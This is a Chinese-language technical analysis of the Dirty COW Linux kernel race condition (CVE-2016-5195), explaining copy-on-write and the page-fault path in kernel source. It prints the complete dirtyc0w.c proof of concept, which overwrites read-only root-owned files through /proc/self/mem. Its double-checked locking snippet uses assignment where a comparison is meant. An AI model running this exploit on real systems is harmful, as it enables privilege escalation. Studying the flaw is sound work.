内核安全:CVE-2016-5195分析

简介

本篇文章在介绍脏牛漏洞之前会先介绍一些写时复制页、多线程安全的知识,以便大家能更好地理解漏洞成因。在此之前,需要读者了解什么是分页、分段、以及虚拟内存与物理内存的区别。

参考文章:
从零入门linux内核安全:脏牛提权漏洞分析与补丁分析(CVE-2016-5195)
[原创]Linux内核[CVE-2016-5195] (dirty COW)原理分析
《程序员的自我修养-链接、装载与库》
《深入理解计算机系统》

前置知识

我们先介绍一下几个操作系统知识,然后再去了解漏洞是怎么产生的。

dirty页

dirty bit,当处理器尝试写入或者修改内存,dirty bit标记改页为脏页,表示内存已经被修改了但是还没有保存到磁盘上

写时复制页(copy on write)

我们都知道,linux会将运行中的实体称为任务(task),在linux下,不同的任务间可以共享其内存空间,共享了同一个内存空间的任务的多个线程构成一个进程。
fork函数可以复制当前的进程,它会返回两次,执行fork函数的进程称之为父进程,复制出来的进程为子进程,在父进程中会返回复制出来子进程的pid,而子进程中的返回值为0
那进程与其复制产生的进程使用的内存空间是什么状态?这里可能分为两种情况:

一、fork函数不会复制父进程的内存空间,子进程用的是父进程的内存空间,在这种情况下,父进程与子进程共享内存空间
二、子进程有一个复制出来的内存空间,子进程有一个自己单独可用的内存空间

在复制进程时,上述两种情况都会发生。fork函数调用时,父子进程共用内存空间,父子进程可以同时读取内存空间的数据。如图1但是当我们在任意一个进程中尝试修改内存空间的数据,内存就会复制一份给修改方单独使用,避免影响其他进程的运行。顾名思义,这个内存空间就叫写时复制页(copy on write,cow),如图2
内核安全:CVE-2016-5195分析
内核安全:CVE-2016-5195分析
这里需要补充一点,在读的时候,进程间都认为它们共享的内存空间是它们自己的,但是写操作的时候会触发缺页,会以改内存空间为副本复制一个带有写属性的内存空间。

多线程安全

这里我们直接上代码

Object * ptr = 0;
Object* GetInstance()
{
	if(ptr = NULL)
	{
		lock();
		if(ptr = NULL)
			ptr = new Object;
		unlock();
	}
	return ptr;
}

这是double-check的例子,如果不加锁,多个线程执行,可能会存在线程间ptr的混乱。比如th1和th2判断ptr为空,当th1返回的时候,th2完成了分配,th1返回的可能是th2分配的ptr。
但是我们这里加锁了后仍然有个问题:new语句不是原子的,它分为以下三步

(1)分配内存
(2)调用对象的构造函数
(3)返回内存的首地址

在这其中,(2)和(3)的顺序可能会被调换,会出现图3下情况:th1的ptr为null,执行new的时候执行了(1)(3),此时ptr已经被赋值了当并且th2正在进行if语句的判定,判定不为空,返回ptr,但ptr构造函数还没被调用,会不会发生错误就要看构造的类是什么样了。
内核安全:CVE-2016-5195分析
这种情况的解决方法可以是barrier函数,并且用一个中间变量来赋值。还有一种不用barrier的方法,这里就不再赘述了

漏洞分析

我们先从全貌了解一下漏洞是怎么触发的。正常情况下,当我们尝试对一个硬盘里的文件以只读形式打开,进行写操作的时候。follow_page_mask会触发缺页,随后挂载一个页到物理内存。执行返回到上一步后,再次调用follow_page_mask,发现它是只读且是PRIVATE的,为了让其可写,操作系统会将FOLL_WRITE去除。再次返回,调用follow_page_mask。正常返回页。
但如果有个线程发出DONTNEED信号,让这个页被被删除后,在第三次调用follow_page_mask时,又会触发缺页,从硬盘又映射一个具有PRIVATE且有FOLL_WRITE权限的页,这样会直接写回硬盘
初步有一个印象后我们再来看几个函数,就可以开始看poc了

madvise

原型:int madvise(void *addr, size_t length, int advice);
告诉内核:在从addr+len的区域内,我们使用什么策略去处理。
addvice的选择如下:

MADV_ACCESS_DEFAULT
此标志将指定范围的内核预期访问模式重置为缺省设置。
MADV_ACCESS_LWP
此标志通知内核,移近指定地址范围的下一个 LWP 就是将要访问此范围次数最多的 LWP。内核将相应地为此范围和 LWP 分配内存和其他资源。
MADV_ACCESS_MANY
此标志建议内核,许多进程或 LWP 将在系统内随机访问指定的地址范围。内核将相应地为此范围分配内存和其他资源。
MADV_DONTNEED
Do not expect access in the near future. (For the time being,
the application is finished with the given range, so the
kernel can free resources associated with it.)

MADV_DONTNEED就表示:这块内存不要了,操作系统可以在合适的时候释放它,但是如果有进程访问的话,访问也会成功,但是会从硬盘映射。

mmap

mmap将一个文件或者其它对象映射进内存。文件被映射到多个页上,如果文件的大小不是所有页的大小之和,最后一个页不被使用的空间将会清零。mmap在用户空间映射调用系统中作用很大。
函数原型void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);
MAP_PRIVATE这个标志位被设置在flag时会触发COW(其作用就是建立一个写入时拷贝的私有映射,内存区域的写入不会影响原文件,因此如果有别的进程在用这个文件,本进程在内存区域的改变只会影响COW的那个页而不影响这个文件)。

POC

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}

首先创建了一个foo函数,只具有读权限
进入main函数,调用open函数打开文件,且返回了文件描述符
mmap以只读方式映射到内存,并且有私有的写时映射机制
然后起线程,madviseThreadprocselfmemThreadprocselfmemThread线程中,参数就是我们写的字符串,修改/proc/self/mem就相当于修改进程中的内存。
通过lseek(f,(uintptr_t) map,SEEK_SET);移动文件读写位置,seek_set告诉了我们写的位置调整到mmap的位置,这样就尝试修改mmap内存中的页了
madviseThread线程通过之前对madvise的阐述我们可以知道,这里就是让mmap+100的地址为DONTNEED

源码分析

上述过程中write写入的时候会调用get_user_pages的函数

long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
        unsigned long start, unsigned long nr_pages,
        unsigned int gup_flags, struct page **pages,
        struct vm_area_struct **vmas, int *nonblocking)
{
    long i = 0;
    unsigned int page_mask;
    struct vm_area_struct *vma = NULL;
 
    if (!nr_pages)
        return 0;
 
    VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));
 
    /*
     * If FOLL_FORCE is set then do not force a full fault as the hinting
     * fault information is unrelated to the reference behaviour of a task
     * using the address space
     */
    if (!(gup_flags & FOLL_FORCE))
        gup_flags |= FOLL_NUMA;
 
    do {
        struct page *page;
        unsigned int foll_flags = gup_flags;    //访问语义标志
        unsigned int page_increm;
 
        /* first iteration or cross vma bound */
        if (!vma || start >= vma->vm_end) {
            vma = find_extend_vma(mm, start);
            if (!vma && in_gate_area(mm, start)) {
                int ret;
                ret = get_gate_page(mm, start & PAGE_MASK,
                        gup_flags, &vma,
                        pages ? &pages[i] : NULL);
                if (ret)
                    return i ? : ret;
                page_mask = 0;
                goto next_page;
            }
 
            if (!vma || check_vma_flags(vma, gup_flags))
                return i ? : -EFAULT;
            if (is_vm_hugetlb_page(vma)) {
                i = follow_hugetlb_page(mm, vma, pages, vmas,
                        &start, &nr_pages, i,
                        gup_flags);
                continue;
            }
        }
retry:
        /*
         * If we have a pending SIGKILL, don't keep faulting pages and
         * potentially allocating memory.
         */
        if (unlikely(fatal_signal_pending(current)))
            return i ? i : -ERESTARTSYS;
        cond_resched();
        page = follow_page_mask(vma, start, foll_flags, &page_mask);
        if (!page) {            //当返回为NULL时
            //(a)页表中不存在物理页即缺页
            //(b)访问语义标志foll_flags对应的权限违反内存页的权限时,follow_page_mask返回值为NULL
            //第一次是由于(a)原因
            //第二次是由于(b)原因,对应的页表项指向的内存并没有写权限,所以返回NULL
            int ret;
            ret = faultin_page(tsk, vma, start, &foll_flags,
                    nonblocking);    //调用faultin_page处理
            switch (ret) {
            case 0:
                goto retry;
            case -EFAULT:
            case -ENOMEM:
            case -EHWPOISON:
                return i ? i : ret;
            case -EBUSY:
                return i;
            case -ENOENT:
                goto next_page;
            }
            BUG();
        } else if (PTR_ERR(page) == -EEXIST) {
            /*
             * Proper page table entry exists, but no corresponding
             * struct page.
             */
            goto next_page;
        } else if (IS_ERR(page)) {
            return i ? i : PTR_ERR(page);
        }
        if (pages) {
            pages[i] = page;
            flush_anon_page(vma, page, start);
            flush_dcache_page(page);
            page_mask = 0;
        }
next_page:
        if (vmas) {
            vmas[i] = vma;
            page_mask = 0;
        }
        page_increm = 1 + (~(start >> PAGE_SHIFT) & page_mask);
        if (page_increm > nr_pages)
            page_increm = nr_pages;
        i += page_increm;
        start += page_increm * PAGE_SIZE;
        nr_pages -= page_increm;
    } while (nr_pages);
    return i;
}
EXPORT_SYMBOL(__get_user_pages);

foll_flags对比着write的内存权限,如果不一致,我们看到retry那,follow_page_mask返回值为NULL,并调用faultin_page
faultinpage逐步执行到handle_pte_fault

static int handle_pte_fault(struct mm_struct *mm,
             struct vm_area_struct *vma, unsigned long address,
             pte_t *pte, pmd_t *pmd, unsigned int flags)
{
    pte_t entry;
 
    entry = *pte;
    ......
    if (!pte_present(entry)) {    //页表项是否为空?即是否为一个缺页错误?
        if (pte_none(entry)) {
            if (vma_is_anonymous(vma))                        //如果是匿名页(没有文件背景如堆,栈,数据段等,不是以文件形式存在)
                return do_anonymous_page(mm, vma, address,
                             pte, pmd, flags);
            else
                return do_fault(mm, vma, address, pte, pmd,//此时不是匿名页,调用do_fault调入页
                        flags, entry);
        }
        return do_swap_page(mm, vma, address,
                    pte, pmd, flags, entry);
    }
    ......
    if (unlikely(!pte_same(*pte, entry)))
        goto unlock;
    if (flags & FAULT_FLAG_WRITE) {            //页表项不空,但是页没有可写权限
        if (!pte_write(entry))
            return do_wp_page(mm, vma, address,
                    pte, pmd, ptl, entry);    //调用do_wp_page
        entry = pte_mkdirty(entry);
    }
    ......
}

因为不是匿名页,所以跳转到了do_fault,在do_fault里我们有个判断,因为我们mmap时是一个带有COW属性的内存,且要进行修改,所以跳转到了do_cow_fault

static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
        unsigned long address, pte_t *page_table, pmd_t *pmd,
        unsigned int flags, pte_t orig_pte)
{
    pgoff_t pgoff = (((address & PAGE_MASK)
            - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;
 
    pte_unmap(page_table);
    /* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */
    if (!vma->vm_ops->fault)
        return VM_FAULT_SIGBUS;
    //如果不要求对应内存具有可写权限
    if (!(flags & FAULT_FLAG_WRITE))
        return do_read_fault(mm, vma, address, pmd, pgoff, flags,        //调用do_read_fault
                orig_pte);
    //如果要求目标内存有可写权限,并且它是一个COW的私有映射。
    if (!(vma->vm_flags & VM_SHARED))
        return do_cow_fault(mm, vma, address, pmd, pgoff, flags,        //调用do_cow_fault
                orig_pte);
 
    return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);
}
static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
        unsigned long address, pmd_t *pmd,
        pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
    struct page *fault_page, *new_page;
    struct mem_cgroup *memcg;
    spinlock_t *ptl;
    pte_t *pte;
    int ret;
    ......
    new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);//alloc page for a VMA创建了一个新的page,并在之后更新pte
    if (!new_page)
        return VM_FAULT_OOM;
 
    ......
 
    ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page);
    if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
        goto uncharge_out;
 
    if (fault_page)
        copy_user_highpage(new_page, fault_page, address, vma);
    __SetPageUptodate(new_page);
 
    ......
 
    do_set_pte(vma, address, new_page, pte, true, true);    //调用do_set_pte
    mem_cgroup_commit_charge(new_page, memcg, false);
    lru_cache_add_active_or_unevictable(new_page, vma);
    pte_unmap_unlock(pte, ptl);
    if (fault_page) {
        unlock_page(fault_page);
        page_cache_release(fault_page);
    } else {
        /*
         * The fault handler has no page to lock, so it holds
         * i_mmap_lock for read to protect against truncate.
         */
        i_mmap_unlock_read(vma->vm_file->f_mapping);
    }
    return ret;
uncharge_out:
    mem_cgroup_cancel_charge(new_page, memcg);
    page_cache_release(new_page);
    return ret;
}
 

随后,调用do_set_pte

void do_set_pte(struct vm_area_struct *vma, unsigned long address,
        struct page *page, pte_t *pte, bool write, bool anon)
{
    pte_t entry;
 
    ......
    entry = mk_pte(page, vma->vm_page_prot);//设置entry
    if (write)                                                //如果要写的话
        entry = maybe_mkwrite(pte_mkdirty(entry), vma);        //做ptewrite当且仅当vma的vm_flags中的VM_WRITE位置位(可写),如果执行了cow到这里,pte_mkdirty()会将对应的页标脏
 
    ......
    set_pte_at(vma->vm_mm, address, pte, entry);
 
    /* no need to invalidate: a not-present page won't be cached */
    update_mmu_cache(vma, address, pte);
}

static inline pte_t maybe_mkwrite(pte_t pte, struct vm_area_struct *vma)
{
    if (likely(vma->vm_flags & VM_WRITE))
        pte = pte_mkwrite(pte);
    return pte;
}

static inline pte_t pte_mkdirty(pte_t pte)
{
    return pte_set_flags(pte, _PAGE_DIRTY | _PAGE_SOFT_DIRTY);//设置pte_entry
}

因为这里只能写脏位,所以调用maybe_mkwrite标脏,此时还是只读状态

第二次缺页处理会调用do_wp_page

static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
        unsigned long address, pte_t *page_table, pmd_t *pmd,
        spinlock_t *ptl, pte_t orig_pte)
    __releases(ptl)
{
    struct page *old_page;
 
    old_page = vm_normal_page(vma, address, orig_pte);//获取共享页
    if (!old_page) {                                  //获取失败
        /*
         * VM_MIXEDMAP !pfn_valid() case, or VM_SOFTDIRTY clear on a
         * VM_PFNMAP VMA.
         *
         * We should not cow pages in a shared writeable mapping.
         * Just mark the pages writable and/or call ops->pfn_mkwrite.
         */
        //如果本来就是共享且可写的话
        if ((vma->vm_flags & (VM_WRITE|VM_SHARED)) ==
                     (VM_WRITE|VM_SHARED))
            return wp_pfn_shared(mm, vma, address, page_table, ptl,
                         orig_pte, pmd);
 
        pte_unmap_unlock(page_table, ptl);
        return wp_page_copy(mm, vma, address, page_table, pmd,
                    orig_pte, old_page);
    }

因为之前设置了entry这里直接从faultin_page到do_wp_page因为已经cowed过了, 直接调用wp_page_reuse()

static inline int wp_page_reuse(struct mm_struct *mm,
            struct vm_area_struct *vma, unsigned long address,
            pte_t *page_table, spinlock_t *ptl, pte_t orig_pte,
            struct page *page, int page_mkwrite,
            int dirty_shared)
    __releases(ptl)
{
    pte_t entry;
    /*
     * Clear the pages cpupid information as the existing
     * information potentially belongs to a now completely
     * unrelated process.
     */
    if (page)
        page_cpupid_xchg_last(page, (1 << LAST_CPUPID_SHIFT) - 1);
 
    flush_cache_page(vma, address, pte_pfn(orig_pte));
    entry = pte_mkyoung(orig_pte);                    //标记_PAGE_ACCESSED位
    entry = maybe_mkwrite(pte_mkdirty(entry), vma); //只读,标脏
    if (ptep_set_access_flags(vma, address, page_table, entry, 1))
        update_mmu_cache(vma, address, page_table);
    pte_unmap_unlock(page_table, ptl);
 
    if (dirty_shared) {
        struct address_space *mapping;
        int dirtied;
 
        if (!page_mkwrite)
            lock_page(page);
 
        dirtied = set_page_dirty(page);
        VM_BUG_ON_PAGE(PageAnon(page), page);
        mapping = page->mapping;
        unlock_page(page);
        page_cache_release(page);
 
        if ((dirtied || page_mkwrite) && mapping) {
            /*
             * Some device drivers do not set page.mapping
             * but still dirty their pages
             */
            balance_dirty_pages_ratelimited(mapping);
        }
 
        if (!page_mkwrite)
            file_update_time(vma->vm_file);
    }
 
    return VM_FAULT_WRITE;
faultin_page()
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
        *flags &= ~FOLL_WRITE;    

返回后进入页,将FOLL_WRITE修改为0,在正常情况下,此时已经是可以对拿到的COW页进行写操作,不会影响到磁盘文件
但这个时候DONTNEED来指明这个内存空间后面不会被使用,那这个页没用,所以又发生缺页了,do_fault调用页,因为FOLL_WRITE为0,就不会像之前那样产生权限冲突,然后接下来写的话就会被写入磁盘了

上一篇:市场调研报告-全球与中国船用喷水推进器市场现状及未来发展趋势


下一篇:行业研究报告-全球与中国刀式粉碎机市场现状及未来发展趋势